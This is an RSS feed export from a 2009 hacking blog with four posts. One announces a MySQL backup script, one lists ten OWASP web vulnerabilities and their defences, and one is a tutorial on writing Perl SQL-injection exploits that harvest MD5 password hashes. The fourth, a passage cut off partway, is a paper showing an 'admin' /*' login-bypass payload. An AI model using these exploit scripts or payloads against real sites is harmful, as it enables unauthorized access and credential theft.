		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[permission]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql server]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=107</guid>
		<description><![CDATA[Hello , i have created a small bash script to backup complete mysql server and then restore it. you can download the script and configure it as per your need. Download : mysql-backup.sh 29-Apr-2009 08:31 488 mysql-restore.sh 29-Apr-2009 08:31 1.0K you need to change permissions for this script to be executed change permissions using : [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/30/how-to-backing-up-and-restoring-your-mysql-server/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "How+to+Backing+up+and+Restoring+Your+MySQL+Server";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Hello ,i have created a small bash script to backup complete mysql server and then restore it. you can download the script and configure it as per your need.Download :      mysql-backup.sh         29-Apr-2009 08:31  488      mysql-restore.sh        29-Apr-2009 08:31  1.0Kyou need to change permissions for this script to be executed change permissions...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>Hello ,</p>
<p>i have created a small bash script to backup complete mysql server and then restore it. you can download the script and configure it as per your need.</p>
<p><span id="more-107"></span></p>
<p>Download :</p>
<pre>      <a href="../../../../../downloads/mysql-backup.sh">mysql-backup.sh</a>         29-Apr-2009 08:31  488
      <a href="../../../../../downloads/mysql-restore.sh">mysql-restore.sh</a>        29-Apr-2009 08:31  1.0K</pre>
<p>you need to change permissions for this script to be executed change permissions using :</p>
<p><em>chmod +x mysql-backup.sh</em></p>
<p><em>chmod +x mysql-restore.sh</em></p>
<p>This script requres mysql server, mysql clinet  and mysqldump to take backup of databases and then to restore it ,</p>
<p>Please post you feedback if you got any problem using this script please comment below .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/30/how-to-backing-up-and-restoring-your-mysql-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>10 Reasons Websites get hacked</title>
		<link>http://www.hacking-gurus.net/2009/04/15/10-reasons-websites-get-hacked/</link>
		<comments>http://www.hacking-gurus.net/2009/04/15/10-reasons-websites-get-hacked/#comments</comments>
		<pubDate>Wed, 15 Apr 2009 18:42:35 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Servers]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[Website Security]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[DOS]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[MSSQL]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[permission]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=82</guid>
		<description><![CDATA[1. Cross site scripting (XSS) The problem: The “most prevalent and pernicious” Web application security vulnerability, XSS flaws happen when an application sends user data to a Web browser without first validating or encoding the content. This lets hackers execute malicious scripts in a browser, letting them hijack user sessions, deface Web sites, insert hostile [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/15/10-reasons-websites-get-hacked/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "10+Reasons+Websites+get+hacked";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "1. Cross site scripting (XSS)The problem: The “most prevalent and pernicious” Web application security vulnerability, XSS flaws happen when an application sends user data to a Web browser without first validating or encoding the content. This lets hackers execute malicious scripts in a browser, letting them hijack user sessions, deface Web sites,...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p><strong>1. Cross site scripting (XSS)</strong></p>
<p>The problem: The “most prevalent and pernicious” Web application security vulnerability, XSS flaws happen when an application sends user data to a Web browser without first validating or encoding the content. This lets hackers execute malicious scripts in a browser, letting them hijack user sessions, deface Web sites, insert hostile content and conduct phishing and malware attacks.</p>
<p><span id="more-82"></span></p>
<p>Attacks are usually executed with JavaScript, letting hackers manipulate any aspect of a page. In a worst-case scenario, a hacker could steal information and impersonate a user on a bank’s Web site, according to Snyder.</p>
<p>Real-world example: PayPal was targeted last year when attackers redirected PayPal visitors to a page warning users their accounts had been compromised. Victims were redirected to a phishing site and prompted to enter PayPal login information, Social Security numbers and credit card details. PayPal said it closed the vulnerability in June 2006.</p>
<p>How to protect users: Use a whitelist to validate all incoming data, which rejects any data that’s not specified on the whitelist as being good. This approach is the opposite of blacklisting, which rejects only inputs known to be bad. Additionally, use appropriate encoding of all output data. “Validation allows the detection of attacks, and encoding prevents any successful script injection from running in the browser,” OWASP says.</p>
<p><strong><br />
2. Injection flaws</strong></p>
<p>The problem: When user-supplied data is sent to interpreters as part of a command or query, hackers trick the interpreter — which interprets text-based commands — into executing unintended commands. “Injection flaws allow attackers to create, read, update, or delete any arbitrary data available to the application,” OWASP writes. “In the worst-case scenario, these flaws allow an attacker to completely compromise the application and the underlying systems, even bypassing deeply nested firewalled environments.”</p>
<p>Real-world example: Russian hackers broke into a Rhode Island government Web site to steal credit card data in January 2006. Hackers claimed the SQL injection attack stole 53,000 credit card numbers, while the hosting service provider claims it was only 4,113.</p>
<p>How to protect users: Avoid using interpreters if possible. “If you must invoke an interpreter, the key method to avoid injections is the use of safe APIs, such as strongly typed parameterized queries and object relational mapping libraries,” OWASP writes.</p>
<p><strong>3. Malicious file execution</strong></p>
<p>The problem: Hackers can perform remote code execution, remote installation of rootkits, or completely compromise a system. Any type of Web application is vulnerable if it accepts filenames or files from users. The vulnerability may be most common with PHP, a widely used scripting language for Web development.</p>
<p>Real-world example: A teenage programmer discovered in 2002 that Guess.com was vulnerable to attacks that could steal more than 200,000 customer records from the Guess database, including names, credit card numbers and expiration dates. Guess agreed to upgrade its information security the next year after being investigated by the Federal Trade Commission.</p>
<p>How to protect users: Don’t use input supplied by users in any filename for server-based resources, such as images and script inclusions. Set firewall rules to prevent new connections to external Web sites and internal systems.</p>
<p><strong>4. Insecure direct object reference</strong></p>
<p>The problem: Attackers manipulate direct object references to gain unauthorized access to other objects. It happens when URLs or form parameters contain references to objects such as files, directories, database records or keys.</p>
<p>Banking Web sites commonly use a customer account number as the primary key, and may expose account numbers in the Web interface.</p>
<p>“References to database keys are frequently exposed,” OWASP writes. “An attacker can attack these parameters simply by guessing or searching for another valid key. Often, these are sequential in nature.”</p>
<p>Real-world example: An Australian Taxation Office site was hacked in 2000 by a user who changed a tax ID present in a URL to access details on 17,000 companies. The hacker e-mailed the 17,000 businesses to notify them of the security breach.</p>
<p>How to protect users: Use an index, indirect reference map or another indirect method to avoid exposure of direct object references. If you can’t avoid direct references, authorize Web site visitors before using them</p>
<p><strong><br />
5. Cross site request forgery</strong></p>
<p>The problem: “Simple and devastating,” this attack takes control of victim’s browser when it is logged onto a Web site, and sends malicious requests to the Web application. Web sites are extremely vulnerable, partly because they tend to authorize requests based on session cookies or “remember me” functionality. Banks are potential targets.</p>
<p>“Ninety-nine percent of the applications on the Internet are susceptible to cross site request forgery,” Williams says. “Has there been an actual exploit where someone’s lost money? Probably the banks don’t even know. To the bank, all it looks like is a legitimate transaction from a logged-in user.”</p>
<p>Real-world example: A hacker known as Samy gained more than a million “friends” on MySpace.com with a worm in late 2005, automatically including the message “Samy is my hero” in thousands of MySpace pages. The attack itself may not have been that harmful, but it was said to demonstrate the power of combining cross site scripting with cross site request forgery. Another example that came to light one year ago exposed a Google vulnerability allowing outside sites to change a Google user’s language preferences.</p>
<p>How to protect users: Don’t rely on credentials or tokens automatically submitted by browsers. “The only solution is to use a custom token that the browser will not ‘remember,’” OWASP writes. 		<!-- / message --></p>
<p><strong>6. Information leakage and improper error handling</strong></p>
<p>The problem: Error messages that applications generate and display to users are useful to hackers when they violate privacy or unintentionally leak information about the program’s configuration and internal workings.</p>
<p>“Web applications will often leak information about their internal state through detailed or debug error messages. Often, this information can be leveraged to launch or even automate more powerful attacks,” OWASP says.</p>
<p>Real-world example: Information leakage goes well beyond error handling, applying also to breaches occurring when confidential data is left in plain sight. The ChoicePoint debacle in early 2005 thus falls somewhere in this category. The records of 163,000 consumers were compromised after criminals pretending to be legitimate ChoicePoint customers sought details about individuals listed in the company’s database of personal information. ChoicePoint subsequently limited its sales of information products containing sensitive data.</p>
<p>How to protect users: Use a testing tool such as OWASP’S WebScarab Project to see what errors your application generates. “Applications that have not been tested in this way will almost certainly generate unexpected error output,” OWASP writes.</p>
<p><strong><br />
7. Broken authentication and session management</strong></p>
<p>The problem: User and administrative accounts can be hijacked when applications fail to protect credentials and session tokens from beginning to end. Watch out for privacy violations and the undermining of authorization and accountability controls.</p>
<p>“Flaws in the main authentication mechanism are not uncommon, but weaknesses are more often introduced through ancillary authentication functions such as logout, password management, timeout, remember me, secret question and account update,” OWASP writes.</p>
<p>Real-world example: Microsoft had to eliminate a vulnerability in Hotmail that could have let malicious JavaScript programmers steal user passwords in 2002. Revealed by a networking products reseller, the flaw was vulnerable to e-mails containing Trojans that altered the Hotmail user interface, forcing users to repeatedly reenter their passwords and unwittingly send them to hackers.</p>
<p>How to protect users: Communication and credential storage has to be secure. The SSL protocol for transmitting private documents should be the only option for authenticated parts of the application, and credentials should be stored in hashed or encrypted form.</p>
<p>Another tip: get rid of custom cookies used for authentication or session management.</p>
<p><strong>8. Insecure cryptographic storage</strong></p>
<p>The problem: Many Web developers fail to encrypt sensitive data in storage, even though cryptography is a key part of most Web applications. Even when encryption is present, it’s often poorly designed, using inappropriate ciphers.</p>
<p>“These flaws can lead to disclosure of sensitive data and compliance violations,” OWASP writes.</p>
<p>Real-world example: The TJX data breach that exposed 45.7 million credit and debit card numbers. A Canadian government investigation faulted TJX for failing to upgrade its data encryption system before it was targeted by electronic eavesdropping starting in July 2005.<br />
How to protect users: Don’t invent your own cryptographic algorithms. “Only use approved public algorithms such as AES, RSA public key cryptography, and SHA-256 or better for hashing,” OWASP advises.</p>
<p>Furthermore, generate keys offline, and never transmit private keys over insecure channels.</p>
<p><strong><br />
9. Insecure communications</strong></p>
<p>The problem: Similar to No. 8, this is a failure to encrypt network traffic when it’s necessary to protect sensitive communications. Attackers can access unprotected conversations, including transmissions of credentials and sensitive information. For this reason, PCI standards require encryption of credit card information transmitted over the Internet.</p>
<p>Real-world example: TJX again. Investigators believe hackers used a telescope-shaped antenna and laptop computer to steal data exchanged wirelessly between portable price-checking devices, cash registers and store computers, the Wall Street Journal reported.</p>
<p>“The $17.4-billion retailer&#8217;s wireless network had less security than many people have on their home networks,” the Journal wrote. TJX was using the WEP encoding system, rather than the more robust WPA.</p>
<p>How to protect users: Use SSL on any authenticated connection or during the transmission of sensitive data, such as user credentials, credit card details, health records and other private information. SSL or a similar encryption protocol should also be applied to client, partner, staff and administrative access to online systems. Use transport layer security or protocol level encryption to protect communications between parts of your infrastructure, such as Web servers and database systems.</p>
<p><strong><br />
10. Failure to restrict URL access</strong></p>
<p>The problem: Some Web pages are supposed to be restricted to a small subset of privileged users, such as administrators. Yet often there’s no real protection of these pages, and hackers can find the URLs by making educated guesses. Say a URL refers to an ID number such as “123456.” A hacker might say ‘I wonder what’s in 123457?’ Williams says.</p>
<p>The attacks targeting this vulnerability are called forced browsing, “which encompasses guessing links and brute force techniques to find unprotected pages,” OWASP says.</p>
<p>Real-world example: A hole on the Macworld Conference &amp; Expo Web site this year let users get “Platinum” passes worth nearly $1,700 and special access to a Steve Jobs keynote speech, all for free. The flaw was code that evaluated privileges on the client but not on the server, letting people grab free passes via JavaScript on the browser, rather than the server.</p>
<p>How to protect users: Don’t assume users will be unaware of hidden URLs. All URLs and business functions should be protected by an effective access control mechanism that verifies the user’s role and privileges. “Make sure this is done … every step of the way, not just once towards the beginning of any multi-step process,’ OWASP advises.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/15/10-reasons-websites-get-hacked/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Writing SQL Injection exploits in Perl</title>
		<link>http://www.hacking-gurus.net/2009/04/04/writing-sql-injection-exploits-in-perl/</link>
		<comments>http://www.hacking-gurus.net/2009/04/04/writing-sql-injection-exploits-in-perl/#comments</comments>
		<pubDate>Sat, 04 Apr 2009 18:30:22 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Servers]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[explots]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[ip address]]></category>
		<category><![CDATA[ipchain]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[MSSQL]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[perl exploits]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=62</guid>
		<description><![CDATA[[1] Introduction [2] Little panning of Perl language used into an internet context [3] Perl SQL Injection by examples [4] Gr33tz to &#8230; &#8212;+&#8212; StArT [1] Introduction Perl can be considered a very powerfull programming language in we think to the internet context. Infact we can make a lot of operation across the internet just [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/04/writing-sql-injection-exploits-in-perl/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Writing+SQL+Injection+exploits+in+Perl";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = " Introduction Little panning of Perl language used into an internet context Perl SQL Injection by examples Gr33tz to &#8230;&#8212;+&#8212; StArT IntroductionPerl can be considered a very powerfull programming language in we think to the internet context. Infact we can make a lotof operation across the internet just writing a litlle bit of code. So...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>[1] Introduction<br />
[2] Little panning of Perl language used into an internet context<br />
[3] Perl SQL Injection by examples<br />
[4] Gr33tz to &#8230;</p>
<p><span id="more-62"></span></p>
<p>&#8212;+&#8212; StArT</p>
<p>[1] Introduction</p>
<p>Perl can be considered a very powerfull programming language in we think to the internet context. Infact we can make a lot<br />
of operation across the internet just writing a litlle bit of code. So i decided to write a similar guide to make an<br />
easiest life to everyone who decide to start writing a perl exploit.<br />
There are few requisites u need to proceed:<br />
- U must know the basics operation of perl (print, chomp, while, die, if, etc etc&#8230;);<br />
- U must know what kind of SQL code u need to inject to obtain a specific thing (stealing pwd, add new admin, etc etc&#8230;).</p>
<p>Now, we are ready to start&#8230;</p>
<p>[2] Little panning of Perl language used into an internet context</p>
<p>Using a Perl code into an internet context means that u should be able to make a sort of dialog between your script and the<br />
server side (or other..). To make this u need to use some &#8220;Perl modules&#8221;.<br />
Those modules must be put on the head of the script. In this tut we are going to use only the &#8220;IO::Socket&#8221; module, but<br />
there are thousand and if u are curious just search on cpan to retrieve info on every module.</p>
<p>[-] Using the IO::Socket module<br />
Using this module is quite simple. To make the Perl Interpreter able to use this module u must write on the starting<br />
of the script &#8220;use IO::Socket&#8221;. With this module u&#8217;ll be able to connect to every server defined previously, using<br />
a chomp, look at the example.</p>
<p>Example:<br />
print &#8220;Insert the host to connect: &#8220;;<br />
chomp ($host=&lt;STDIN&gt;);</p>
<p>Now suppose that the host inserted is www.host.com. We must declare to the interpreter that we want to connect to this<br />
host. To do this, we must create a new sock that will be used by the interpreter to connect.<br />
To create this we are going to write something like this:</p>
<p>$sock = IO::Socket::INET-&gt;new(Proto=&gt;&#8221;tcp&#8221;, PeerAddr=&gt;&#8221;$host&#8221;, PeerPort=&gt;&#8221;80&#8243;)<br />
or die &#8221; ]+[ Connecting ... Can't connect to host.nn";</p>
<p>In this piece of code we have declared that the interpreter must use the "IO::Socket" module, creating a new<br />
connection, through the TCP protocol, using the port 80 and direct to the host specified in the chomp<br />
($host=www.fbi.gov).<br />
If connection is not possible an error message will appear ("Connecting ... Can't connect to host").<br />
Resume:<br />
- Proto=&gt;TCP -------&gt; The protocol to use (TCP/UDP)<br />
- PeerAddr=&gt; -------&gt; The server/host to connect<br />
- PeerPort=&gt; -------&gt; Port to use for the connection</p>
<p>Ok, now let's go to the next step, which is the real hearth of this tut.</p>
<p>[3] Perl SQL Injection</p>
<p>Assuming that we know what kind of SQL statement must inject, now we are going to see how to do this.</p>
<p>The SQL code must be treaty like a normal variable (like &#8220;$injection&#8221;).</p>
<p>Example:<br />
$injection=index.php/forum?=[SQL_CODE]</p>
<p>This string means that we are going to inject the query into &#8220;index.php/forum&#8221; path, following the correct syntax that<br />
will bring us to cause a SQL Injection &#8220;?=&#8221;.</p>
<p>Now we must create a piece of code that will go to inject this query into the host vuln.</p>
<p>print $sock &#8220;GET $injection HTTP/1.1n&#8221;;<br />
print $sock &#8220;Accept: */*n&#8221;;<br />
print $sock &#8220;User-Agent: Hackern&#8221;;<br />
print $sock &#8220;Host: $hostn&#8221;;<br />
print $sock &#8220;Connection: closenn&#8221;;</p>
<p>This piece of code is the most important one into the building of an exploit.<br />
It can be considered the &#8220;validation&#8221; of the connection.<br />
In this case the &#8220;print&#8221; command doesn&#8217;t show anything on screen, but it creates a dialogue and sends commands to the host.</p>
<p>In the first line the script will send a &#8220;GET&#8221; to the selected page defined into &#8220;$injection&#8221;.<br />
In the third line it tells to the host &#8220;who/what&#8221; is making the request of &#8220;GET&#8221;. In this case this is Hacker, but it<br />
can be &#8220;Mozilla/5.0 Firefox/1.0.4&#8243; or other.<br />
In the fourth line it defines the host to connect to, &#8220;$host&#8221;.</p>
<p>With the execution of this script we have made our injection.</p>
<p>Resume of the exploit:</p>
<p>use IO::Socket</p>
<p>print &#8220;Insert the host to connect: &#8220;;<br />
chomp ($host=&lt;STDIN&gt;);</p>
<p>$sock = IO::Socket::INET-&gt;new(Proto=&gt;&#8221;tcp&#8221;, PeerAddr=&gt;&#8221;$host&#8221;, PeerPort=&gt;&#8221;80&#8243;)<br />
or die &#8221; ]+[ Connecting ... Can't connect to host.nn";</p>
<p>$injection=index.php/forum?=[SQL_CODE]</p>
<p>print $sock &#8220;GET $injection HTTP/1.1n&#8221;;<br />
print $sock &#8220;Accept: */*n&#8221;;<br />
print $sock &#8220;User-Agent: Hackern&#8221;;<br />
print $sock &#8220;Host: $hostn&#8221;;<br />
print $sock &#8220;Connection: closenn&#8221;;<br />
close ($sock); #this line terminates the connection</p>
<p>A little trick:</p>
<p>Assuming that, with the execution of SQL Inj, u want to retrieve a MD5 Hash PWD, u must be able to recognize it.<br />
Additionally, u want that your script will show the PWD on your screen.<br />
Well, to make this, the next piece of code, could be one of the possible solutions.</p>
<p>while($answer = &lt;$sock&gt;) {<br />
if ($answer =~ /([0-9a-f]{32})/) {<br />
print &#8220;]+[ Found! The hash is: $1n&#8221;;<br />
exit(); }</p>
<p>This string means that if the answer of the host will show a &#8220;word&#8221; made by 32 characters (&#8220;0&#8243; to &#8220;9&#8243; and &#8220;a&#8221; to &#8220;f&#8221;),<br />
this word must be considered the MD5 Hash PWD and it must be showed on screen.</p>
<p>Conclusions:<br />
The method showed in this tut is only one of the 10000 existing, but, for me, this is the most complete one.<br />
U could use also the module &#8220;LWP::Simple&#8221; in the place of &#8220;IO::Socket&#8221;, but u should change something into the code.<br />
This method can be used also, not only for SQL Injection, but, for example, remote file upload or other.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/04/writing-sql-injection-exploits-in-perl/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>MySQL: Secure Web Apps &#8211; SQL Injection techniques</title>
		<link>http://www.hacking-gurus.net/2009/03/26/mysql-secure-web-apps-sql-injection-techniques/</link>
		<comments>http://www.hacking-gurus.net/2009/03/26/mysql-secure-web-apps-sql-injection-techniques/#comments</comments>
		<pubDate>Thu, 26 Mar 2009 21:14:39 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Servers]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[permission]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql injections]]></category>
		<category><![CDATA[user]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[web app]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=55</guid>
		<description><![CDATA[-[ SUMMARY ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; Introduction Injecting SQL Exploiting a Login Form Exploiting Different SQL Statement Type Basic Victim Fingerprinting Standard Blind SQL Injection Double Query Filters Evasion SQL Injection Prevention Conclusion &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; &#8212;[  Introduction ] Hi everybody! I&#8217;m here again to write a little, but I hope interesting, paper concerning Web Application Security. The aim of [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/03/26/mysql-secure-web-apps-sql-injection-techniques/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "MySQL%3A+Secure+Web+Apps+%26%238211%3B+SQL+Injection+techniques";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "-&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;IntroductionInjecting SQLExploiting a Login FormExploiting Different SQL Statement TypeBasic Victim FingerprintingStandard Blind SQL InjectionDouble QueryFilters EvasionSQL Injection PreventionConclusion&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;Hi...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>-[ SUMMARY ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Introduction<br />
Injecting SQL<br />
Exploiting a Login Form<br />
Exploiting Different SQL Statement Type<br />
Basic Victim Fingerprinting<br />
Standard Blind SQL Injection<br />
Double Query<br />
Filters Evasion<br />
SQL Injection Prevention<br />
Conclusion<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p><span id="more-55"></span></p>
<p>&#8212;[  Introduction ]</p>
<p>Hi everybody! I&#8217;m here again to write a little, but I hope interesting, paper concerning<br />
Web Application Security. The aim of these lines are to help you to understand security<br />
flaws regarding SQL Injection.</p>
<p>I know that maybe lots of things here explained are a little bit old; but lots of people<br />
asked to me by email how to find/to prevent SQL Injection flaws in their codes.</p>
<p>Yes, we could say that this is the second part of my first paper regarding PHP flaws<br />
(PHP Underground Security) wrote times ago; where I explained in a very basic form the SQL Injection<br />
(The reason? The focus was on an other principal theme).</p>
<p>How I wrote this paper? In my free time, a couple of lines to help people to find, prevent<br />
this kind of attacks. I hope you enjoy it. For any question or whatever please<br />
contact me here: omni_0 [at] yahoo [DOT] com .<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[ Injecting SQL ]</p>
<p>As you know almost every dynamic web applications use a database (here we talk<br />
about web application based on &#8220;LAMP architecture&#8221;) to store any kind of data needed<br />
by the application such as images path, texts, user accounts, personal information,<br />
goods in stock, etc.</p>
<p>The web application access to those information by using the SQL (Structured Query<br />
Language). This kind of applications construct one or more SQL Statement to query<br />
the DataBase (and for example to retrieve data); but this query sometimes incorporporate<br />
user-supplied data. (take in mind this)</p>
<p>What about SQL? SQL is a DML (Data Manipulation Language) that is used<br />
to insert, retrive and modify records present in the DataBase.</p>
<p>As I said before web application uses user-supplied data to query the DB but if the<br />
supplied data is not properly sanitized before being used this can be unsafe and<br />
an attacker can INJECT HIS OWN SQL code.<br />
These flaws can be very destructive because an attacker can:</p>
<p>- Inject his data<br />
- Retrive information about users, CC, DBMS.. (make a kind of information gathering)<br />
- and so on..</p>
<p>The fundamentals of SQL Injection are similar to lots of DBMS but, as you know<br />
there are some differences, in this paper I will cover &#8220;Exploting SQL Injection<br />
in MySQL DBMS&#8221; as said upon (this means that if you want to test techniques here<br />
explained on others DBMS you need to try at your own).<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[ Exploiting a Login Form ]</p>
<p>Sometimes happends that coders doesn&#8217;t properly sanitize 2 important variables<br />
such as user-name and password in the login form and this involve a critical<br />
vulnerability that will allow to the attacker the access to a reserved area.</p>
<p>Let&#8217;s make an example query here below:</p>
<p>SELECT * FROM users WHERE username = &#8216;admin&#8217; and password = &#8216;secret&#8217;</p>
<p>With this query the admin supply the username &#8216;admin&#8217; and the password &#8216;secret&#8217;<br />
if those are true, the admin will login into the application.<br />
Let us suppose that the script is vulnerabile to sql injection; what happends<br />
if we know the admin username (in this case &#8216;admin&#8217;)? We don&#8217;t know the password, but<br />
can we make an SQL Injection attack? Yes, easily and then we can gain the access to the application.<br />
In this way:</p>
<p>SELECT * FROM users WHERE username = &#8216;admin&#8217; /*&#8217; and password = &#8216;foobar&#8217;</p>
<p>So, we supplied this information:</p>
<p>- As username = admin&#8217; /*<br />
- As password = foobar (what we want..)</p>
<p>Yes, the query will be true because admin is the right username but then with the<br />
&#8216; /* &#8216; symbol we commented the left SQL Statement.</p>
<p>Here below a funny (but true) example:</p>
<p>$sql = &#8220;SELECT permissions, username FROM $prefix&#8221;.&#8221;auth WHERE<br />
username = &#8216;&#8221; . $_POST['username'] . &#8220;&#8216; AND password = MD5(&#8216;&#8221;.$_POST['wordpass'].&#8221;&#8216;);&#8221;;</p>
<p>$query = mysql_query($sql, $conn);</p>
<p>The variables passed with the POST method are not properly sanitized before being used<br />
and an attacker can inject sql code to gain access to the application.<br />
This is a simple attack but it has a very critical impact.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Exploiting Different SQL Statement Type ]</p>
<p>SQL Language uses different type of statements that could help the programmer to<br />
make different queries to the DataBase; for example a SELECTion of record,<br />
UPDATE, INSERTing new rows and so on. If the source is bugged an attacker can<br />
&#8220;hack the query&#8221; in multiple ways; here below some examples.</p>
<p>SELECT Statement<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>SELECT Statement is used to retrieve information from the database; and is<br />
frequentely used &#8220;in every&#8221; application that returns information in response<br />
